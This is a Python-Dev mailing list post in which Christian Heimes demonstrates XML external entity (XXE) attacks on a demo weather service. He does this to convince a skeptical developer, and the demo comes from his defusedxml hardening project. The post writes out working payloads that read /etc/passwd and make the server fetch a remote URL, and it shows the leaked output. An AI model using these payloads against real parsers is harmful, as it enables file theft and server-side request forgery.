[Python-Dev] XML DoS vulnerabilities and exploits in Python

[Christian Heimes]

Am 21.02.2013 11:32, schrieb Antoine Pitrou:
> You haven't proved that these were actual threats, nor how they
> actually worked. I'm gonna remain skeptical if there isn't anything
> more precise than "It highly depends on the parser and the application
> what kind of exploit is possible".

https://bitbucket.org/tiran/defusedxml/src/82f4037464418bf11ea734969b7ca1c193e6ed91/other/python-external.py?at=default

$ ./python-external.py

REQUEST:
--------
<weather>Aachen</weather>

RESPONSE:
---------
<weather>The weather in Aachen is terrible.</weather


REQUEST:
--------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE weather [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<weather>&passwd;</weather>


RESPONSE:
---------
<error>Unknown city root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bi</error>


REQUEST:
--------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE weather [
<!ENTITY url SYSTEM
"http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem">
]>
<weather>&url;</weather>


RESPONSE:
---------
<error>Unknown city -----BEGIN DH PARAMETERS-----
MEYCQQD1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak
XUGfnHy9iUsiGSa6q6Jew1XpKgVfAgEC
-----END DH PARAMETERS-----

These are the 512 bit DH parameters from "Assigned Number for SKIP
Protocols"
(http://www.skip-vpn.org/spec/numbers.html).
See there for how they were generated.
Note that g is not a generator, but this is not a problem since p is a
safe prime.
</error>


Q.E.D.
Christian